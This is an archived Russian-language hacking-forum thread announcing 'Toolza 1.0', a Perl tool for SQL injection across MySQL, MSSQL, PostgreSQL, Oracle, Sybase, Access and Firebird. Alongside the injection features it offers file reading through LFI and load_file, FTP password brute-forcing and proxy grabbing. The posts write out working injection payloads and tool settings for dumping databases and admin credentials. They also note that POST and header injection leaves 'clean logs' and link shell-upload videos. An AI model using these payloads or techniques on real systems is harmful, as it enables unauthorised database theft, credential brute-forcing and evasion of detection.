RDot

RDot (https://rdot.org/forum/index.php)
-   Релизы/Releases (https://rdot.org/forum/forumdisplay.php?f=11)
-   -   Toolza 1.0 (https://rdot.org/forum/showthread.php?t=1142)

Pashkela 19.01.2011 13:29

Toolza 1.0
 
Вложений: 1
===> Toolza1.0 <=== (*Nix/Windows/Mac) - UTF-8 perlscript (download last version at the end of this post /последнюю версию скачать можно снизу этого поста)

Данная утилита предназначена для тестирования своего веб-ресурса на уязвимости. Любое другое использование скрипта преследуется по закону

Last update - 25.06.2011

SQL injection DB supported: Mysql, Mssql, Sybase, Postgresql, Access, Oracle, Firebird/Interbase

SQLi supported in:

$_GET
$_POST
Headers(include COOKIE)

include Blind Mysql injection (with ANY QUERY MODE - no spaces, no "<" or ">", for experts ;), and Blind READ FILES through LOAD_FILE(some_file) and Blind BRUTE LOAD_FILE log/conf files (file_priv = Y)) + alternative methods

Other functions:

- LFI/Reader/Loade_file() bruter
- Scan site for folders & files
- FTP checker
- FTP bruter
- Proxy checker
- Proxy grabber

Post/Get/Proxy/SOCKS4-5/Cookies/Timeout/Multithread/HTTPS+Authorization supported

include video instructions for all modes

http://s006.radikal.ru/i213/1001/51/08684e42ef5bt.jpg

Для всех режимов работы:

- Выбор POST или GET
- Поддержка прокси (файл proxy.txt) - авточекинг, работает с первой рабочей
- Поддержка SOCKS4-5 (файл socks.txt) - авточекинг, автоопределение типа носка(4-5), без авторизации, работает с первой рабочей
- Выбор таймаута соединения
- Возможность вставить cookies

формат:

$cookie ="__utma=115146457;__utmz=115146457;PHPSID=201301d f5788f6f187342cdfe45abea0a";

- Возможность изменить user agent
- Возможность изменить реферер
- Возможность выбора HTTP-протокола ( 0 - HTTP/1.0; 1 - HTTP/1.1; Default - 1)


MySql=>5:

1. Многопоточный (можно вручную менять кол-во потоков, оптимально на практике 10)
2. Вывод на монитор + логирование в файл (имя_хоста.txt)
3. Нормальная поддержка UNHEX(HEX(SQL))
4. Нормальная поддержка AES_DECRYPT(AES_ENCRYPT(SQL,aes_key),aes_key)
5. Выбор пробелов (+,/**/,%20 и etc.)
6. Выбор лимитов (no limit; limit+0,1; limit+1,1)
7. Выбор фильтров (/*,--+,# и etc)
8. Выбор паузы между пачкой запросов в секундах (антиддос сканируемого сайта)
9. Предварительный вывод на экран вашего URL со всеми вашими настройками
10. Возможность выбора дампа таблиц из information_schema - все или с "номер_записи" по "номер_записи"
11. Возможность выбора дампа данных из выбранной таблицы - все или с "номер_записи" по "номер_записи"
12. Возможность вставить свое условие при дампе данных из таблицы - where ID=1, чтобы не дампить, ну например,
всех пользователей какого-нибудь форума и сразу получить данные админа. Или админов, т.к. они могут не находится рядом в таблице и алгоритм "с ... по..." тут не подойдет. Поддерживаются как числовые так и mix условия (автоопределение, авто- HEX).
13. Автопроверка на file_priv
14. Скрипт полностью интерактивный, поддерживается ввод данных пользователем с клавиатуры.

MySql4 bruter - таблицы и колонки:

- Многопоточный
- Возможность добавлять префикс для таблиц и префикс для колонок(PHPBB_, IPB_ & etc.)
- Словарь таблиц - 3434
- Словарь колонок - 760

Site scanner for folders & files:

- Многопоточный
- Словарь 3455 позиций
- Возможность редактировать ошибки при ответе сайта на запрос при не существующем URL (файл scaner_errors_list.txt)
- Возможность пополнять словарь (файл scaner_folder_list.txt, новая позиция с новой строки без слеша в начале)

LFI/READER/Load_file() bruter:

Многопоточный, поддержка GET | POST, прокси (не для всех режимов)

6 режимов работы:

[1] LFI/Reader - visual error when wrong query
[2] LFI/Reader - unvisual error when wrong query
[3] Mysql load_file - visual error when wrong query, magic_quotes=OFF
[4] Mysql load_file - unvisual error when wrong query, magic_quotes=OFF
[5] Mysql load_file - visual error when wrong query, magic_quotes=ON
[6] Mysql load_file - unvisual error when wrong query, magic_quotes=ON

2-4-6 режимы к сожалению только GET и без прокси, т.к. там идет получение содержимого страниц и пришлось выбирать - либо многопоточность, либо так.

+

записал видео для новой фичи:

1. LFI, ошибки ВИДНЫ при неправильном запросе (классика)
2. LFI, ошибки НЕ ВИДНЫ при неправильном запросе
3. LOAD_FILE, magic_quotes=on, ошибки НЕ ВИДНЫ при неправильном запросе

т.е. классический вариант и два "фактически безнадежных" с первого взгляда

Blind Mysql injection:

- Многопоточный
- POST/GET/Прокси/Куки и прочее
- Полный цикл - от системной информации до получения значений из таблицы (явки-пароли)
- Брут для Blind MySql4 таблиц и колонок с возможностью добавить свой префикс
- В общем все возможности, что в секции обычных скулей, только чуть подольше подождать
- Normal MODE брута (диапазон 0-255) - неграниченное кол-во записей, универсальный, вывод ошибок необязателен
- Fast MODE брута - (диапазон 0-255) - кол-во записей <= 10, универсальный, вывод ошибок необязателен
- TURBO-MODE брута в режиме дампа "1 запись 1 колонка" (диапазон 0-255) - универсальный, вывод ошибок необязателен
- MD5-TURBO-MODE брута в режиме дампа "1 запись 1 колонка" (диапазон 48-102) - универсальный, вывод ошибок необязателен

[1] Blind System information
[2] Blind inj get DB-names from information_schema.schemata
[3] Blind inj get tables from DB-name
[4] <<< Blind ANY QUERY >>>
[5] Blind inj get column_name from tables from DB-name
[6] Blind inj get LOAD_FILE (file_priv = Y)
[7] Blind BRUTE LOAD_FILE log/conf files (file_priv = Y)
[8] Blind Get tables from information_schema (current DB)
[9] Blind Get column_name from table (current DB)
[10] Blind Get data from columns
[11] Blind Brute MySql4 for tables & columns
[12] Main menu



предварительно определяется размер файла и есть возможность выбирать, читать весь файл или часть файла (начиная и заканчивая любым байтом), весь процесс чтения виден на мониторе. Видео прилагается.

MySql inj bruter кол-ва колонок:

- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Метод union+select
- Возможность менять максимальное кол-во колонок - по умолчанию 100
- Возможность менять фильтр
- Возможность менять знак пробела
- Определение правильности запроса по наличию или отсутствию уникального текста на странице
- автоопрделениe limit (без лимита, limit+0,1, limit+1,1)
- определение принтабельной колонки
- Алгоритм работы:
1) сначала прогоняется по 20 колонок без лимита, с limit+0,1, c limit+1,1, затем, если не нашлось кол-во колонок, прогоняется от 21 до максимально выставленного кол-ва колонок (100 - default) также без лимита, с limit+0,1, c limit+1,1
2) после нахождения кол-ва колонок ищется принтабельная колонка также без лимита, с limit+0,1, c limit+1,1

в видео рассмотрен нестандартный случай - правильное кол-во колонок определяется без лимита, принтабельная колонка появляется только с limit+1,1

MySql inj NAME_CONST:

- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Все те же возможности, что и при обычной скуле + та же скорость
- просто заменить два раза "version()" на "^" (shift+6), т.е. было:

Код:

*http://site.com/index.php?site=profile&id=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1/*
 *

стало:

Код:

*http://site.com/index.php?site=profile&id=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((^),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((^),14)e)b)a)/**/and/**/'1'='1/*
 *

Отдельный риспект хотелось бы выразить Qwazar и jokester за эту тему.

PS: Видео прилагается

MySql inj floor(rand()):

- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Все те же возможности, что и при обычной скуле + та же скорость

скуля:
Код:

*http://example.com/?id=1+or(1,2)=(select+count(*),concat((select+version()+from+information_schema.tables+limit+0,1),0x3a,floor(rand()*2))+from+information_schema.tables+group+by+2+limit+0,1)--+
 *

переменные в скрипте:
Код:

*$f_table = "information_schema.tables"; # *default 'information_schema.tables' if MySQL>=5 and if MySQL<5 - you must brute table_name before and print here
 *$f_url = "http://example.com/?id=1+or(1,2)="; # url
 *$f_plus = "+"; # %20,%2b & etc.
 *$f_filtr = "--+"; # close SQL
 *

скуля:
Код:

*http://example.com/?id=(select+1+from+(select+count(*),concat((select+version()+from+information_schema.tables+limit+0,1),0x3a,floor(rand()*2))+from+information_schema.tables+group+by+2+limit+0,1)a)--+
 *

переменные в скрипте:
Код:

*$f_table = "information_schema.tables"; # *default 'information_schema.tables' if MySQL>=5 and if MySQL<5 - you must brute table_name before and print here
 *$f_url = "http://example.com/?id=(select+1+from+"; # url
 *$f_plus = "+"; # %20,%2b & etc.
 *$f_filtr = "a)--+"; # close SQL
 *

MSSQL inj:

- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Определение кол-ва колонок и принтабельной колонки не требуется
- авто-CHAR всех данных


Вывод на экран и сохранение в файл. Видео прилагается

PostgreSQL injection:

1. UNION+SELECT method:

- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Возможность задавать в настройках data type принтабельного поля ("text" - default)
- Авто CHR(data)||
- Остальное все тоже самое, что и в mysql

2. SUBQUERY method:

- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Возможность задавать в настройках тип конвертации данных для вызова ошибки
- Авто CHR(data)||
- Остальное все тоже самое, что и в mysql

Пример метода UNION+SELECT:
Код:

*http://site.com/index.phtml?pid=7+union+select+null,version(),null--
 *
 *Настройки в скрипте:
 *
 *$p_union_select_url = "http://site.com/index.phtml?pid=7+union+select+null,^,null"; # url UNION+SELECT method
 *$p_subquery_url = ""; # url SUBQUERY method
 *$p_method = 0; # 0 - UNION+SELECT method, 1 - SUBQUERY method
 *$p_filtr = "--"; # close SQL
 *$p_plus = "+"; # %20,%2b & etc.
 *$p_convert = "text"; # convert data type(text,int ... etc.)
 *

Пример метода SUBQUERY:
Код:

*http://site.com/index.php?id=1+and+1=cast(select+version()+as+int)
 *
 *или
 *
 *http://site.com/index.php?id=1+and+1=version()::int
 *
 *что тоже самое
 *
 *Настройки в скрипте:
 *
 *$p_union_select_url = ""; # url UNION+SELECT method
 *$p_subquery_url = "http://site.com/index.php?id=1+and+1="; # url SUBQUERY method
 *$p_method = 1; # 0 - UNION+SELECT method, 1 - SUBQUERY method
 *$p_filtr = ""; # close SQL
 *$p_plus = "+"; # %20,%2b & etc.
 *$p_convert = "int"; # convert data type(text,int ... etc.)
 *

Вывод на экран и сохранение в файл. Видео прилагается

Sybase SQL injection:

- Пока в один поток (специфика sybase sql inj)
- Post/Get/Cookies/Proxy & etc.
- Не требуется подбор кол-ва колонок и поиск принтабельной
- Возможность задавать тип конвертации данных для вызова ошибки (numeric, integer & etc)
- Авто hex(data)||
- Дампит все БД, все таблицы (плюс ID), все колонки из выбранной таблицы (плюс ID) + данные из таблиц
- Автоопределение типов данных при дампе

1 . UNION SELECT method:

Код:

http://site.com/index.phtml?pid=7+union+select+null,@@version,null
 
 Настройки в скрипте:
 
 $s_union_select_url = "http://site.com/index.phtml?pid=7+union+select+null,^,null"; # url UNION+SELECT method
 $s_subquery_url = ""; # url SUBQUERY method
 $s_method = 0; # 0 - UNION+SELECT method, 1 - SUBQUERY method
 $s_filtr = "--"; # close SQL
 $s_plus = "+"; # %20,%2b & etc.
 $s_convert = "numeric"; # default type to convert - numeric (for subquery method)

1 . SUBQUERY method:

Код:

http://site.com/index.phtml?pid=-7+or+1=convert(numeric,(select+@@version))--+
 
 Настройки в скрипте:
 
 $s_union_select_url = ""; # url UNION+SELECT method
 $s_subquery_url = "http://site.com/index.phtml?pid=-7+or+1="; # url SUBQUERY method
 $s_method = 1; # 0 - UNION+SELECT method, 1 - SUBQUERY method
 $s_filtr = "--+"; # close SQL
 $s_plus = "+"; # %20,%2b & etc.
 $s_convert = "numeric"; # default type to convert - numeric (for subquery method)

+ системные данные:
Код:

@@version
 user_name()
 @@boottime
 @@errorlog
 @@language
 @@servername
 db_name()

Вывод на экран и сохранение в файл. Видео прилагается

Ms Access SQL injection:

- POST/GET/Cookie/Proxy & etc.
- Возможности:
1. Определение кол-ва столбцов через order+by (надо указать ошибку, когда кол-во столбцов больше) - multithread
2. Брут имен таблиц - возможно добавлять префикс - tbl,tbl_, site_name & etc (multithread)
3. Брут имен колонок - возможно добавлять префикс - tbl,tbl_, site_name & etc (multithread)
4. Автоопределение принтабельной колонки
5. Дамп данных из таблицы (1 thread - специфика access)
6. Автоопределение типов данных при дампе (независимо от того, дампятся данные из одной колонки или нескольких и независимо от порядка их расстановки, т.е. дампите как обычно - id,name,email...)

Вывод на экран и запись в файл. Видео прилагается

Oracle SQL injection:

- Многопоточный
- POST/GET/Cookie/Proxy & etc.
- Возможность задать тип конвертации для принтабельного поля
- Авто CHR(data)||
- Остальное как в обычной скуле mysql

просто замените принтабельное поле на "^" (shift+6)

Вывод на экран и запись в файл. Видео прилагается

Firebird/Interbase SQL injection:

- Многопоточный
- POST/GET/Cookie/Proxy & etc.
- Возможность задать тип конвертации для выводимых данных
- Авто ascii_char(data)||

Исходная ссылка:
Код:

*http://example.com/image.php?operator=2)+and+1=user--
 *
 *или
 *
 *http://example.com/image.php?operator=2)+and+1=cast(user+as+char(777))--
 *

В скрипте:
Код:

*$fi_source_sql = "http://example.com/image.php?operator=2)+and+1=";
 *$fi_filtr = "--"; # close SQL
 *$fi_plus = "+"; # %20,%2b & etc.
 *$fi_convert = "char(777)"; # default data type - char(777)
 *

Вывод на экран и запись в файл. Видео прилагается

FTP checker:

- Многопоточный (50 потоков checked)
- Сохраняет проверенные ftp в файл

- Поддерживаемые форматы:
1) ftp://login : pass@host
2) ftp://login : pass@host : port

каждый с новой строки

- если порт не указан, выставляется дефолтный (можно менять в настроках - по умолчанию 21)
- возможны пробелы между строками(автоопределение)
- возможны любые символы в начале и в конце строки (автоопределение)

FTP bruter:

- Многопоточный (50 потоков checked)
- Три режима работы:

1) Брут login : password (любой делиметр, задается в настройках, по умолчанию ":")
2) Известен логин, брут паролей
3) Известен пароль, брут логинов

п. 3 может пригодиться, если вы желаете проверить найденный Вами пароль от SSH или phpmyadmin или просто от админки - вдруг подойдет и на FTP

В видео рассмотрены все три режима работы, словарь паролей взят из mil-dic.txt (83641 записей)

PS: Не забывайте, на некоторых хостах надо задавать обязательную паузу между попытками входа, например на ftp.narod.ru (5 сек) - выставляется в глобальных настройках скрипта

PROXY checker:

- Многопоточный
- Сохраняет хорошие proxy в файл
- формат ip : port - каждый с новой строки

PROXY grabber:

- Многопоточный
- Кроме SOCKS4 и SOCKS5
- 16 актуальных сайтов с проксями
- Возможность грабить прокси через POST|GET|cookie и даже через proxy :)
- Возможность добавлять свои сайты для грабинга (никакого выбора "порт/страна/диапазон ip" - или сразу список или зря потерянное Ваше время, ищите сразу рабочую ссылку со списком проксей)
- Маска простейшая, на абсолютную корректность не проверяется (на то есть таймаут и ваш AI):

/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/g

(пример: 127.0.0.1:8080 )

ибо если не придерживаются стандарта - ну и ну их

Выложена видеодемонстрация:
- грабим прокси
- сразу чекаем на валидность (после того, как обошли и пропарсили все сайты из списка в режиме POST + 10 потоков - хотите больше - эксперементируйте, чем больше таймаут - тем корректней результат, но тем больше вероятность, что прокси фиговая)
-----------------------------------------------------------------

Работа скрипта в любом режиме реализована на сокетах, никаких дополнительных модулей не требуется

PS: какие-то маньяки закачали всё видео по использованию сюда:

https://www.ashiyane.org/forums/showthread.php?t=19185
http://www.youtube.com/watch?v=Kn_Vxh_rlH4
http://www.video.xaknet.ru/upload/files/Zalivka_shella_v_phpmyadmin.rar

and more videos:

http://moemesto.ru/webkraft/file/9447906/4332342343.rar
http://moemesto.ru/webkraft/file/9146113/6.rar <--- switch GET to POST
http://moemesto.ru/webkraft/file/8389510/12.rar

PS: not mine

Pashkela 19.01.2011 13:29

update:

добавлен Blind BRUTE LOAD_FILE log/conf files (file_priv = Y) при Blind SQLi

скачать в первом посте

Просьба отписываться о найденных багах в теме, по мере возможности будут устранены

asskako 19.01.2011 15:20

на ХР работает хорошо... на семерке работает также хорошо, но не сохраняет результат (см.скрин). с чем это может быть связано?

http://s010.radikal.ru/i314/1101/28/ea0b1c23d0ff.png

Pashkela 19.01.2011 15:23

результат сохраняется в той же папке, где и скрипт, z_host.txt

попробуйте поискать по этой маске

asskako 19.01.2011 15:38

да, действительно так и есть, спасибо.
когда в первый раз не сохранился результат, зашел в C:\Perl\bin\perl.exe - свойства, из вкладки "Совместимость" поставил галочку в режим совместимости сп2 и "выполнять от имени администратора". Результат нашел в C:\Windows\System32.

Pashkela 19.01.2011 15:41

Скрипт вообще заточен под *nix, так что в винде могут быть всякие неожиданности, вроде этой ^_^

Pashkela 21.01.2011 13:43

update (скачать в первом посте темы):

Mysql [(union+select) and floor(rand())] section:

Теперь поддерживаются SQLi в:

POST-параметре (любом, из формы тоже)
HEADER-параметре(включая COOKIE)

поэтому появились три новых параметра в проге в разделе "Глобальные настройки для всех режимов":

1. $test_mode = 0;# when 1 - print get/post page content in terminal
2. $sql_post = ""; # SQLi Post parameter
3. $sql_header = "";# SQLi Header parametr (include COOKIE), if present before - comment it with "#"

1-ый параметр включает тест мод, позволяет в деталях рассмотреть что вы посылаете и ответ от сервера - печатает прямо в терминал

2-ой параметр - сюда вы вставляете свою POST запрос, содержащий SQLi, пример использования:

Цитата:

http://localhost/user2.php?e=62'+union+select+version(),2,3,4,5,6,7 ,8,9,10,11,12,13#
в тулзе:

Цитата:

$sql_post = "e=62'+union+select+^,2,3,4,5,6,7,8,9,10,11,12,13" ;
$source_sql = "http://localhost/user2.php"
$filtr = "#";
$plus = "+";
и если прокатило - то в большинстве случаев чистые логи с просто обращением к скрипту:

Цитата:

127.0.0.1 - - [21/Jan/2011:14:09:14 +0300] "POST /user2.php HTTP/1.1" 200 294 "-" "Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.11"
PS: если $sql_post не пустой, $method автоматически становится POST, даже если у вас указан GET в глобальных настройках

3-ий параметр: - сюда вы вставляте HEADER, в котором есть SQLi, пример:

user2.php:

PHP код:

$sql "select * from jos_users where id='".$_SERVER['HTTP_ACCEPT_LANGUAGE']."'"

в тулзе:

Цитата:

$sql_header = "Accept-Language: 62'+union+select+^,2,3,4,5,6,7,8,9,10,11,12,13";
$source_sql = "http://localhost/user2.php"
$filtr = "#";
$plus = "+";
и отправляте запрос POST или GET методом

$sql_header может содержать в себе COOKIE

Примечание: тут главное не допустить посылку двойных HEADER, которые в скрипте стоят выше на пару строчек по умолчанию:

$cookie = 'ololo';
$referer = "http://google.com";
$user_agent = "Mozilla/5.0 (Windows NT 5.1; U; ru; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10";

т.е. если SQLi в одном из этих параметров, то вы все равно должны вписать SQLi с нужным HEADER в $sql_header, а те, что уже дублируются, закоментировать вначале строки с помощью "#" ($cookie,$referer,$user_agent)

и обратите внимание на синтаксис $sql_header - всегда начинается с корректного указания имени заголовка, а потом уже ваши данные. (формат: Имя_Хедера:[пробел]данные - \r\n в конце ставить не надо)

update секции MySql кроме blind SQLi, брутов имен таблиц/колонк и поиска принтабельной колонки и кол-ва колонок

PS: для остальных разделов данный update в процессе разработки

Просьба отписываться о найденных багах в теме, по мере возможности будут устранены

Pashkela 22.01.2011 14:19

update:

самый сладенький)

теперь MySql Blind поддерживает SQLi в $_POST, $_GET, $_COOKIES,HEADERS

переменные и принцип использования теже, что и в предыдущем посте

PS: даешь чистые логи

Кроме брута таблиц/колонок для Mysql<5

euro 29.01.2011 19:25

дампер не планируется ?

Pashkela 29.01.2011 19:46

сорре, а чем не дампер в представленной версии?


Часовой пояс GMT +3, время: 12:14.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot